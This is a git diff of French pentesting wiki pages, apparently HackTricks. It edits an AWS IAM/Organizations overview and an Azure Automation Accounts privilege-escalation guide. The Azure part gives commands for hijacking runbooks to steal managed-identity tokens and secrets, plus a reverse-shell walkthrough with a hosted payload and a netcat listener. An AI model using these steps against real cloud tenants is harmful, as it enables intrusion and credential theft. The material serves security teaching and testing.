diff --git a/src/images/vm_to_aa.jpg b/src/images/vm_to_aa.jpg new file mode 100644 index 000000000..30893dfd5 Binary files /dev/null and b/src/images/vm_to_aa.jpg differ diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index c58b8d2a8..4c9f401c5 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -12,7 +12,7 @@ Dans AWS, il y a un **compte root**, qui est le **conteneur parent pour tous les C'est très intéressant d'un point de vue **sécurité**, car **un compte ne pourra pas accéder aux ressources d'un autre compte** (sauf si des ponts sont spécifiquement créés), de cette manière vous pouvez créer des limites entre les déploiements. -Par conséquent, il y a **deux types de comptes dans une organisation** (nous parlons de comptes AWS et non de comptes utilisateurs) : un compte unique désigné comme le compte de gestion, et un ou plusieurs comptes membres. +Par conséquent, il y a **deux types de comptes dans une organisation** (nous parlons de comptes AWS et non de comptes utilisateurs) : un seul compte désigné comme compte de gestion, et un ou plusieurs comptes membres. - Le **compte de gestion (le compte root)** est le compte que vous utilisez pour créer l'organisation. À partir du compte de gestion de l'organisation, vous pouvez faire ce qui suit : @@ -40,7 +40,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -Une **service control policy (SCP)** est une politique qui spécifie les services et actions que les utilisateurs et rôles peuvent utiliser dans les comptes que la SCP affecte. Les SCP sont **similaires aux politiques de permissions IAM** sauf qu'elles **ne donnent aucune permission**. Au lieu de cela, les SCP spécifient les **permissions maximales** pour une organisation, une unité organisationnelle (OU) ou un compte. Lorsque vous attachez une SCP à la racine de votre organisation ou à une OU, la **SCP limite les permissions pour les entités dans les comptes membres**. +Une **service control policy (SCP)** est une politique qui spécifie les services et actions que les utilisateurs et rôles peuvent utiliser dans les comptes que la SCP affecte. Les SCP sont **similaires aux** politiques de permissions IAM, sauf qu'elles **ne donnent aucune permission**. Au lieu de cela, les SCP spécifient les **permissions maximales** pour une organisation, une unité organisationnelle (OU) ou un compte. Lorsque vous attachez une SCP à la racine de votre organisation ou à une OU, la **SCP limite les permissions pour les entités dans les comptes membres**. C'est le SEUL moyen par lequel **même l'utilisateur root peut être arrêté** de faire quelque chose. Par exemple, cela pourrait être utilisé pour empêcher les utilisateurs de désactiver CloudTrail ou de supprimer des sauvegardes.\ Le seul moyen de contourner cela est de compromettre également le **compte maître** qui configure les SCP (le compte maître ne peut pas être bloqué). @@ -53,15 +53,31 @@ Exemples de SCP : - Refuser complètement le compte root - Autoriser uniquement des régions spécifiques - Autoriser uniquement des services sur liste blanche -- Refuser la désactivation de GuardDuty, CloudTrail et S3 Public Block Access - -- Refuser la suppression ou la modification des rôles de sécurité/réponse aux incidents. - -- Refuser la suppression des sauvegardes. -- Refuser la création d'utilisateurs IAM et de clés d'accès +- Refuser que GuardDuty, CloudTrail et S3 Public Block Access soient désactivés +- Refuser que les rôles de sécurité/réponse aux incidents soient supprimés ou modifiés. +- Refuser que les sauvegardes soient supprimées. +- Refuser de créer des utilisateurs IAM et des clés d'accès Trouvez des **exemples JSON** dans [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) +### Resource Control Policy (RCP) + +Une **resource control policy (RCP)** est une politique qui définit les **permissions maximales pour les ressources au sein de votre organisation AWS**. Les RCP sont similaires aux politiques IAM en syntaxe mais **ne donnent pas de permissions**—elles limitent uniquement les permissions qui peuvent être appliquées aux ressources par d'autres politiques. Lorsque vous attachez une RCP à la racine de votre organisation, à une unité organisationnelle (OU) ou à un compte, la RCP limite les permissions des ressources sur toutes les ressources dans le champ d'application affecté. + +C'est le SEUL moyen de s'assurer que **les ressources ne peuvent pas dépasser les niveaux d'accès prédéfinis**—même si une politique basée sur l'identité ou sur la ressource est trop permissive. Le seul moyen de contourner ces limites est de modifier également la RCP configurée par le compte de gestion de votre organisation. + +> [!WARNING] +> Les RCP ne restreignent que les permissions que les ressources peuvent avoir. Elles ne contrôlent pas directement ce que les principaux peuvent faire. Par exemple, si une RCP refuse l'accès externe à un bucket S3, elle garantit que les permissions du bucket ne permettent jamais d'actions au-delà de la limite fixée—même si une politique basée sur la ressource est mal configurée. + +Exemples de RCP : + +- Restreindre les buckets S3 afin qu'ils ne puissent être accessibles que par des principaux au sein de votre organisation +- Limiter l'utilisation des clés KMS pour n'autoriser que les opérations des comptes organisationnels de confiance +- Limiter les permissions sur les files d'attente SQS pour prévenir les modifications non autorisées +- Faire respecter des limites d'accès sur les secrets de Secrets Manager pour protéger les données sensibles + +Trouvez des exemples dans [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html) + ### ARN **Amazon Resource Name** est le **nom unique** que chaque ressource à l'intérieur d'AWS possède, il est composé comme ceci : @@ -108,7 +124,7 @@ Les utilisateurs peuvent avoir **MFA activé pour se connecter** via la console. - **ID de clé d'accès secrète** : 40 caractères aléatoires en majuscules et minuscules : S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Il n'est pas possible de récupérer les ID de clé d'accès secrète perdus). Chaque fois que vous devez **changer la clé d'accès**, voici le processus que vous devez suivre :\ -_Créer une nouvelle clé d'accès -> Appliquer la nouvelle clé au système/application -> Marquer l'original comme inactif -> Tester et vérifier que la nouvelle clé d'accès fonctionne -> Supprimer l'ancienne clé d'accès_ +_Créez une nouvelle clé d'accès -> Appliquez la nouvelle clé au système/application -> marquez l'original comme inactif -> Testez et vérifiez que la nouvelle clé d'accès fonctionne -> Supprimez l'ancienne clé d'accès_ ### MFA - Authentification Multi-Facteurs @@ -130,26 +146,26 @@ Comme [**indiqué ici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_cre ### [Groupes d'utilisateurs IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -Un [groupe d'utilisateurs IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) est un moyen de **joindre des politiques à plusieurs utilisateurs** à la fois, ce qui peut faciliter la gestion des autorisations pour ces utilisateurs. **Les rôles et les groupes ne peuvent pas faire partie d'un groupe**. +Un [groupe d'utilisateurs IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) est un moyen de **joindre des politiques à plusieurs utilisateurs** en même temps, ce qui peut faciliter la gestion des autorisations pour ces utilisateurs. **Les rôles et les groupes ne peuvent pas faire partie d'un groupe**. Vous pouvez attacher une **politique basée sur l'identité à un groupe d'utilisateurs** afin que tous les **utilisateurs** du groupe d'utilisateurs **reçoivent les autorisations de la politique**. Vous **ne pouvez pas** identifier un **groupe d'utilisateurs** comme un **`Principal`** dans une **politique** (comme une politique basée sur les ressources) car les groupes sont liés aux autorisations, pas à l'authentification, et les principaux sont des entités IAM authentifiées. Voici quelques caractéristiques importantes des groupes d'utilisateurs : -- Un **groupe d'utilisateurs** peut **contenir de nombreux utilisateurs**, et un **utilisateur** peut **appartenir à plusieurs groupes**. +- Un **groupe d'utilisateurs** peut **contenir plusieurs utilisateurs**, et un **utilisateur** peut **appartenir à plusieurs groupes**. - **Les groupes d'utilisateurs ne peuvent pas être imbriqués** ; ils ne peuvent contenir que des utilisateurs, pas d'autres groupes d'utilisateurs. - Il n'y a **pas de groupe d'utilisateurs par défaut qui inclut automatiquement tous les utilisateurs du compte AWS**. Si vous souhaitez avoir un groupe d'utilisateurs comme ça, vous devez le créer et assigner chaque nouvel utilisateur à celui-ci. -- Le nombre et la taille des ressources IAM dans un compte AWS, comme le nombre de groupes, et le nombre de groupes dont un utilisateur peut être membre, sont limités. Pour plus d'informations, voir [les quotas IAM et AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +- Le nombre et la taille des ressources IAM dans un compte AWS, comme le nombre de groupes et le nombre de groupes dont un utilisateur peut être membre, sont limités. Pour plus d'informations, voir [les quotas IAM et AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). ### [Rôles IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -Un **rôle IAM** est très **similaire** à un **utilisateur**, en ce sens qu'il s'agit d'une **identité avec des politiques d'autorisation qui déterminent ce qu'elle** peut et ne peut pas faire dans AWS. Cependant, un rôle **n'a pas de credentials** (mot de passe ou clés d'accès) qui lui sont associés. Au lieu d'être associé de manière unique à une personne, un rôle est destiné à être **assumé par quiconque en a besoin (et a suffisamment de permissions)**. Un **utilisateur IAM peut assumer un rôle pour temporairement** prendre des autorisations différentes pour une tâche spécifique. Un rôle peut être **attribué à un** [**utilisateur fédéré**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) qui se connecte en utilisant un fournisseur d'identité externe au lieu d'IAM. +Un **rôle IAM** est très **similaire** à un **utilisateur**, en ce sens qu'il s'agit d'une **identité avec des politiques d'autorisation qui déterminent ce qu'elle** peut et ne peut pas faire dans AWS. Cependant, un rôle **n'a pas de credentials** (mot de passe ou clés d'accès) qui lui sont associés. Au lieu d'être associé de manière unique à une personne, un rôle est destiné à être **assumé par quiconque en a besoin (et a suffisamment de permissions)**. Un **utilisateur IAM peut assumer un rôle pour temporairement** prendre des autorisations différentes pour une tâche spécifique. Un rôle peut être **assigné à un** [**utilisateur fédéré**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) qui se connecte en utilisant un fournisseur d'identité externe au lieu d'IAM. Un rôle IAM se compose de **deux types de politiques** : une **politique de confiance**, qui ne peut pas être vide, définissant **qui peut assumer** le rôle, et une **politique d'autorisation**, qui ne peut pas être vide, définissant **ce qu'il peut accéder**. #### Service de jetons de sécurité AWS (STS) -Le Service de jetons de sécurité AWS (STS) est un service web qui facilite **l'émission de credentials temporaires à privilèges limités**. Il est spécifiquement conçu pour : +Le service de jetons de sécurité AWS (STS) est un service web qui facilite **l'émission de credentials temporaires à privilèges limités**. Il est spécifiquement conçu pour : ### [Credentials temporaires dans IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) @@ -194,7 +210,7 @@ Les [champs spécifiques qui peuvent être utilisés pour des conditions par ser #### Politiques Inline Ce type de politiques est **directement assigné** à un utilisateur, un groupe ou un rôle. Ainsi, elles n'apparaissent pas dans la liste des Politiques car d'autres peuvent les utiliser.\ -Les politiques inline sont utiles si vous souhaitez **maintenir une relation stricte un à un entre une politique et l'identité** à laquelle elle est appliquée. Par exemple, vous voulez vous assurer que les autorisations dans une politique ne sont pas attribuées par inadvertance à une identité autre que celle pour laquelle elles sont destinées. Lorsque vous utilisez une politique inline, les autorisations dans la politique ne peuvent pas être attachées par inadvertance à la mauvaise identité. De plus, lorsque vous utilisez la console de gestion AWS pour supprimer cette identité, les politiques intégrées dans l'identité sont également supprimées. C'est parce qu'elles font partie de l'entité principale. +Les politiques inline sont utiles si vous souhaitez **maintenir une relation stricte un à un entre une politique et l'identité** à laquelle elle est appliquée. Par exemple, vous voulez vous assurer que les autorisations dans une politique ne sont pas attribuées par inadvertance à une identité autre que celle pour laquelle elles sont destinées. Lorsque vous utilisez une politique inline, les autorisations dans la politique ne peuvent pas être attachées par inadvertance à la mauvaise identité. De plus, lorsque vous utilisez la console de gestion AWS pour supprimer cette identité, les politiques intégrées à l'identité sont également supprimées. C'est parce qu'elles font partie de l'entité principale. #### Politiques de Bucket de Ressources @@ -214,7 +230,7 @@ Une limite est simplement une politique attachée à un utilisateur qui **indiqu Une politique de session est une **politique définie lorsqu'un rôle est assumé** d'une manière ou d'une autre. Cela sera comme une **limite IAM pour cette session** : Cela signifie que la politique de session ne donne pas d'autorisations mais **les restreint à celles indiquées dans la politique** (les autorisations maximales étant celles que le rôle a). -Ceci est utile pour des **mesures de sécurité** : Lorsqu'un administrateur va assumer un rôle très privilégié, il pourrait restreindre l'autorisation uniquement à celles indiquées dans la politique de session au cas où la session serait compromise. +Ceci est utile pour des **mesures de sécurité** : Lorsque un administrateur va assumer un rôle très privilégié, il pourrait restreindre l'autorisation uniquement à celles indiquées dans la politique de session au cas où la session serait compromise. ```bash aws sts assume-role \ --role-arn \ @@ -222,7 +238,7 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Notez qu'en défaut, **AWS peut ajouter des politiques de session aux sessions** qui vont être générées pour d'autres raisons. Par exemple, dans [les rôles supposés de cognito non authentifiés](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) par défaut (en utilisant l'authentification améliorée), AWS générera **des identifiants de session avec une politique de session** qui limite les services auxquels cette session peut accéder [**à la liste suivante**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Notez qu'en défaut, **AWS peut ajouter des politiques de session aux sessions** qui vont être générées pour d'autres raisons. Par exemple, dans [les rôles supposés cognito non authentifiés](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles), par défaut (en utilisant l'authentification améliorée), AWS générera **des identifiants de session avec une politique de session** qui limite les services auxquels cette session peut accéder [**à la liste suivante**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). Par conséquent, si à un moment donné vous rencontrez l'erreur "... parce qu'aucune politique de session ne permet le ...", et que le rôle a accès pour effectuer l'action, c'est parce que **il y a une politique de session qui l'empêche**. @@ -243,7 +259,7 @@ AWS IAM Identity Center (successeur d'AWS Single Sign-On) étend les capacités Le domaine de connexion sera quelque chose comme `.awsapps.com`. -Pour connecter les utilisateurs, il y a 3 sources d'identité qui peuvent être utilisées : +Pour connecter des utilisateurs, il y a 3 sources d'identité qui peuvent être utilisées : - Répertoire Identity Center : Utilisateurs AWS réguliers - Active Directory : Prend en charge différents connecteurs @@ -257,13 +273,13 @@ Pour donner accès à un utilisateur/groupe du Centre d'identité à un compte, #### AwsSSOInlinePolicy -Il est possible de **donner des permissions via des politiques en ligne aux rôles créés via IAM Identity Center**. Les rôles créés dans les comptes recevant **des politiques en ligne dans AWS Identity Center** auront ces permissions dans une politique en ligne appelée **`AwsSSOInlinePolicy`**. +Il est possible de **donner des permissions via des politiques en ligne aux rôles créés via IAM Identity Center**. Les rôles créés dans les comptes étant donnés **des politiques en ligne dans AWS Identity Center** auront ces permissions dans une politique en ligne appelée **`AwsSSOInlinePolicy`**. Par conséquent, même si vous voyez 2 rôles avec une politique en ligne appelée **`AwsSSOInlinePolicy`**, cela **ne signifie pas qu'ils ont les mêmes permissions**. ### Confiances et rôles inter-comptes -**Un utilisateur** (faisant confiance) peut créer un rôle inter-comptes avec certaines politiques et ensuite, **permettre à un autre utilisateur** (de confiance) d'**accéder à son compte** mais uniquement **avec l'accès indiqué dans les nouvelles politiques de rôle**. Pour créer cela, il suffit de créer un nouveau rôle et de sélectionner le rôle inter-comptes. Les rôles pour l'accès inter-comptes offrent deux options. Fournir un accès entre les comptes AWS que vous possédez, et fournir un accès entre un compte que vous possédez et un compte AWS tiers.\ +**Un utilisateur** (faisant confiance) peut créer un rôle inter-comptes avec certaines politiques et ensuite, **permettre à un autre utilisateur** (de confiance) d'**accéder à son compte** mais seulement **avec l'accès indiqué dans les nouvelles politiques de rôle**. Pour créer cela, il suffit de créer un nouveau rôle et de sélectionner le rôle inter-comptes. Les rôles pour l'accès inter-comptes offrent deux options. Fournir un accès entre les comptes AWS que vous possédez, et fournir un accès entre un compte que vous possédez et un compte AWS tiers.\ Il est recommandé de **spécifier l'utilisateur qui est de confiance et de ne pas mettre quelque chose de générique** car sinon, d'autres utilisateurs authentifiés comme les utilisateurs fédérés pourront également abuser de cette confiance. ### AWS Simple AD @@ -284,10 +300,10 @@ L'application utilise AssumeRoleWithWebIdentity pour créer des identifiants tem ### Autres options IAM -- Vous pouvez **définir une politique de mot de passe** avec des options comme la longueur minimale et les exigences de mot de passe. +- Vous pouvez **définir un paramètre de politique de mot de passe** avec des options comme la longueur minimale et les exigences de mot de passe. - Vous pouvez **télécharger un "Rapport d'identifiants"** avec des informations sur les identifiants actuels (comme le temps de création de l'utilisateur, si le mot de passe est activé...). Vous pouvez générer un rapport d'identifiants aussi souvent qu'une fois toutes les **quatre heures**. -La gestion des identités et des accès AWS (IAM) fournit un **contrôle d'accès granulaire** sur l'ensemble d'AWS. Avec IAM, vous pouvez spécifier **qui peut accéder à quels services et ressources**, et sous quelles conditions. Avec les politiques IAM, vous gérez les permissions de votre main-d'œuvre et de vos systèmes pour **assurer des permissions de moindre privilège**. +AWS Identity and Access Management (IAM) fournit un **contrôle d'accès granulaire** sur l'ensemble d'AWS. Avec IAM, vous pouvez spécifier **qui peut accéder à quels services et ressources**, et sous quelles conditions. Avec les politiques IAM, vous gérez les permissions de votre main-d'œuvre et de vos systèmes pour **assurer des permissions de moindre privilège**. ### Préfixes d'ID IAM @@ -297,7 +313,7 @@ Dans [**cette page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ABIA | [Jeton porteur de service AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | -| ACCA | Identifiant de contexte spécifique | +| ACCA | Identifiant spécifique au contexte | | AGPA | Groupe d'utilisateurs | | AIDA | Utilisateur IAM | | AIPA | Profil d'instance Amazon EC2 | @@ -307,7 +323,7 @@ Dans [**cette page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference | APKA | Clé publique | | AROA | Rôle | | ASCA | Certificat | -| ASIA | [Identifiants de clé d'accès temporaires (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilisent ce préfixe, mais sont uniques uniquement en combinaison avec la clé d'accès secrète et le jeton de session. | +| ASIA | [Identifiants de clé d'accès temporaires (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilisent ce préfixe, mais ne sont uniques qu'en combinaison avec la clé d'accès secrète et le jeton de session. | ### Permissions recommandées pour auditer les comptes @@ -362,5 +378,6 @@ Si vous recherchez quelque chose de **similaire** à cela mais pour le **navigat - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) +- [https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/](https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 47a6538c1..15ad083fa 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -12,16 +12,27 @@ Pour plus d'informations, consultez : ### Hybrid Workers Group -N'oubliez pas que si, d'une manière ou d'une autre, un attaquant peut exécuter un runbook arbitraire (code arbitraire) dans un travailleur hybride, il **se déplacera vers l'emplacement de la VM**. Cela pourrait être une machine sur site, un VPC d'un autre cloud ou même une VM Azure. +- **De l'Automation Account à la VM** -De plus, si le travailleur hybride s'exécute dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à **l'identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**. +Rappelez-vous que si, d'une manière ou d'une autre, un attaquant peut exécuter un runbook arbitraire (code arbitraire) dans un travailleur hybride, il **se déplacera vers l'emplacement de la VM**. Cela pourrait être une machine sur site, un VPC d'un autre cloud ou même une VM Azure. + +De plus, si le travailleur hybride s'exécute dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à l'**identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**. > [!TIP] -> N'oubliez pas que le **service de métadonnées** a une URL différente (**`http://169.254.169.254`**) que le service à partir duquel obtenir le jeton d'identités gérées du compte d'automatisation (**`IDENTITY_ENDPOINT`**). +> Rappelez-vous que le **service de métadonnées** a une URL différente (**`http://169.254.169.254`**) que le service à partir duquel obtenir le jeton d'identités gérées du compte d'automatisation (**`IDENTITY_ENDPOINT`**). + +- **De la VM à l'Automation Account** + +De plus, si quelqu'un compromet une VM où un script de compte d'automatisation s'exécute, il pourra localiser les métadonnées de l'**Automation Account** et y accéder depuis la VM pour obtenir des jetons pour les **Identités Gérées** attachées au compte d'automatisation. + +Comme il est possible de le voir dans l'image suivante, avoir un accès Administrateur sur la VM permet de trouver dans les **variables d'environnement du processus** l'URL et le secret pour accéder au service de métadonnées du compte d'automatisation : + +![]() + ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -En résumé, ces autorisations permettent de **créer, modifier et exécuter des Runbooks** dans le compte d'automatisation, que vous pourriez utiliser pour **exécuter du code** dans le contexte du compte d'automatisation et élever les privilèges aux **Identités Gérées** assignées et divulguer des **identifiants** et des **variables chiffrées** stockées dans le compte d'automatisation. +En résumé, ces autorisations permettent de **créer, modifier et exécuter des Runbooks** dans le compte d'automatisation que vous pourriez utiliser pour **exécuter du code** dans le contexte du compte d'automatisation et élever les privilèges aux **Identités Gérées** assignées et de divulguer des **identifiants** et des **variables chiffrées** stockées dans le compte d'automatisation. L'autorisation **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permet de modifier le code d'un Runbook dans le compte d'automatisation en utilisant : ```bash @@ -80,7 +91,7 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -Avec la permission **`Microsoft.Automation/automationAccounts/schedules/write`**, il est possible de créer un nouvel horaire dans le compte d'automatisation qui s'exécute toutes les 15 minutes (pas très furtif) en utilisant la commande suivante. +Avec la permission **`Microsoft.Automation/automationAccounts/schedules/write`**, il est possible de créer un nouvel horaire dans le compte d'automatisation qui s'exécute toutes les 15 minutes (pas très discret) en utilisant la commande suivante. Notez que l'**intervalle minimum pour un horaire est de 15 minutes**, et que le **temps de début minimum est de 5 minutes** dans le futur. ```bash @@ -123,7 +134,7 @@ az rest --method PUT \ }' ``` > [!TIP] -> Dans l'exemple précédent, l'identifiant du jobchedule a été laissé comme **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` comme exemple** mais vous devrez utiliser une valeur arbitraire pour créer cette affectation. +> Dans l'exemple précédent, l'identifiant du jobchedule était laissé comme **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` comme exemple** mais vous devrez utiliser une valeur arbitraire pour créer cette affectation. ### `Microsoft.Automation/automationAccounts/webhooks/write` @@ -196,7 +207,7 @@ az automation source-control create \ ``` Cela importera automatiquement les runbooks du dépôt Github vers le compte d'automatisation et avec quelques autres autorisations pour commencer à les exécuter, il serait **possible d'escalader les privilèges**. -De plus, rappelez-vous que pour que le contrôle de version fonctionne dans les comptes d'automatisation, il doit avoir une identité gérée avec le rôle **`Contributor`** et si c'est une identité gérée par l'utilisateur, l'ID client de l'ID géré doit être spécifié dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +De plus, rappelez-vous que pour que le contrôle de version fonctionne dans les comptes d'automatisation, il doit avoir une identité gérée avec le rôle **`Contributor`** et si c'est une identité gérée par l'utilisateur, l'ID client de l'ID de MI doit être spécifié dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] > Notez qu'il n'est pas possible de changer l'URL du dépôt d'un contrôle de version une fois qu'il est créé. @@ -219,11 +230,11 @@ az rest --method PUT \ ``` ### Environnements d'exécution personnalisés -Si un compte d'automatisation utilise un environnement d'exécution personnalisé, il pourrait être possible de remplacer un package personnalisé de l'environnement d'exécution par du code malveillant (comme **une porte dérobée**). De cette manière, chaque fois qu'un runbook utilisant cet environnement d'exécution personnalisé est exécuté et charge le package personnalisé, le code malveillant sera exécuté. +Si un compte d'automatisation utilise un environnement d'exécution personnalisé, il pourrait être possible de remplacer un package personnalisé de l'environnement d'exécution par du code malveillant (comme **une porte dérobée**). De cette façon, chaque fois qu'un runbook utilisant cet environnement d'exécution personnalisé est exécuté et charge le package personnalisé, le code malveillant sera exécuté. ### Compromission de la configuration d'état -**Consultez le post complet sur :** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) +**Consultez le post complet ici :** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) - Étape 1 — Créer des fichiers @@ -245,7 +256,7 @@ Le fichier de configuration compressé est téléchargé dans un conteneur de st ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- Étape 4 — Préparer la Kali Box +- Étape 4 — Préparer la boîte Kali Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépôt GitHub. ```bash @@ -257,9 +268,9 @@ Le script est modifié pour spécifier la VM Windows cible et le port pour le re Le fichier de configuration est exécuté, ce qui entraîne le déploiement du script de reverse shell à l'emplacement spécifié sur la VM Windows. -- Étape 6 — Héberger la charge utile et configurer l'écouteur +- Étape 6 — Héberger le payload et configurer l'écouteur -Un Python SimpleHTTPServer est démarré pour héberger la charge utile, avec un écouteur Netcat pour capturer les connexions entrantes. +Un Python SimpleHTTPServer est démarré pour héberger le payload, ainsi qu'un écouteur Netcat pour capturer les connexions entrantes. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443